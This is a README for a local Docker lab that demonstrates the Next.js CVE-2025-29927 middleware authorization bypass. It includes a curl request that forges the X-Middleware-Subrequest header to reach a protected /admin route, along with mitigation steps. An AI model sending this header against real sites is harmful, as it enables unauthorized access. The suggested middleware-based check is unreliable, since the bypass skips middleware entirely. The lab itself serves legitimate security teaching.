# 🚨 NextJS-CVE-2025-29927-Docker-Lab

This repository contains a **Docker-based lab** environment to explore and demonstrate the **Next.js CVE-2025-29927** vulnerability in a controlled setting.

> ⚠️ **DISCLAIMER:** This lab is for educational and security research purposes only. Do not expose it to the public internet or use it in production.

---

## 📦 Features

- ✅ Vulnerable Next.js application
- ✅ Containerized with Docker
- ✅ Designed for local testing of CVE-2025-29927
- ✅ Includes pre-configured routes and UI
- ✅ Easy to set up and run

---

## 🛠 Prerequisites

Ensure you have the following installed:

- [Docker](https://www.docker.com/products/docker-desktop) (v20+)
- [Git](https://git-scm.com/downloads)
- Optional: [Node.js](https://nodejs.org/) if you plan to run outside Docker

---

## 🚀 Getting Started

Follow these steps to clone and run the lab:

### 1. Clone the Repository

```bash
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab

2. Build and Run with Docker

docker-compose up --build

This will:

• Build the Docker image
• Start the vulnerable Next.js server
• Expose the app at http://localhost:3000

📂 Folder Structure

.
├── app/                     # Main Next.js app code
├── public/                  # Static assets (images, etc.)
├── Dockerfile               # Docker setup for app
├── docker-compose.yml       # Compose configuration
├── .env                     # Environment variables (if any)
├── README.md                # You are here

🧪 Testing the Vulnerability

🛡️ CVE-2025-29927 - Next.js Middleware Authorization Bypass

⚠️ WARNING: This documentation is for educational and security research purposes only. Do not deploy the vulnerable app in a production environment.

🔍 Overview

CVE-2025-29927 is a critical authorization bypass vulnerability in Next.js middleware. It allows attackers to skip middleware-based authentication and access protected routes by manipulating the X-Middleware-Subrequest header.

🧪 Reproducing the Vulnerability

1. Accessing Protected Routes Without Authentication

Attempt to access a protected route, such as /admin, without any authentication:

curl http://localhost:3000/admin

Expected Behavior: Access is denied or redirected to an unauthorized page.

Vulnerable Behavior: Access is granted without authentication.

2. Bypassing Middleware Using X-Middleware-Subrequest Header

Send a request with the X-Middleware-Subrequest header to bypass middleware checks:

curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin

Result: Middleware is bypassed, and access to the protected route is granted.

🛡️ Mitigation Strategies

1. Upgrade Next.js to a Patched Version

Update Next.js to one of the following versions where the vulnerability is fixed:

• 14.2.25
• 15.2.3

npm install next@latest

2. Implement Middleware Hardening

Enhance your middleware to validate requests properly and reject any with suspicious headers:

import { NextResponse } from 'next/server';

export function middleware(request) {
  const subrequestHeader = request.headers.get('x-middleware-subrequest');
  if (subrequestHeader) {
    return new NextResponse('Unauthorized', { status: 401 });
  }
  // Continue with normal processing
  return NextResponse.next();
}

3. Configure Reverse Proxy to Strip Suspicious Headers

If you're using a reverse proxy (e.g., Nginx), configure it to remove the X-Middleware-Subrequest header from incoming requests:

location / {
  proxy_pass http://localhost:3000;
  proxy_set_header X-Middleware-Subrequest "";
}

📚 References

• NVD - CVE-2025-29927
• Datadog Security Labs Analysis
• Vercel Postmortem

This VULNERABILITY.md file provides a comprehensive guide to understanding and reproducing the CVE-2025-29927 vulnerability in a controlled environment. It also offers practical mitigation strategies to secure your Next.js applications against such exploits.

For a detailed demonstration and further insights into this vulnerability, you can refer to the full attack demo provided by Techtalkpine on the blog post which also is linked to the Youtube live demo: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/

Let me know if you need assistance with any specific part of this setup or further clarification on the mitigation steps.

---

## 🧹 Tear Down

To stop and remove containers:

```bash
docker-compose down

📚 Resources

• Next.js Docs
• Docker Docs
• OWASP Top 10

⚠️ Legal Disclaimer

This project is intended solely for educational and research purposes. You are responsible for using it in accordance with all applicable laws and ethical guidelines. The author is not liable for any misuse or damage caused.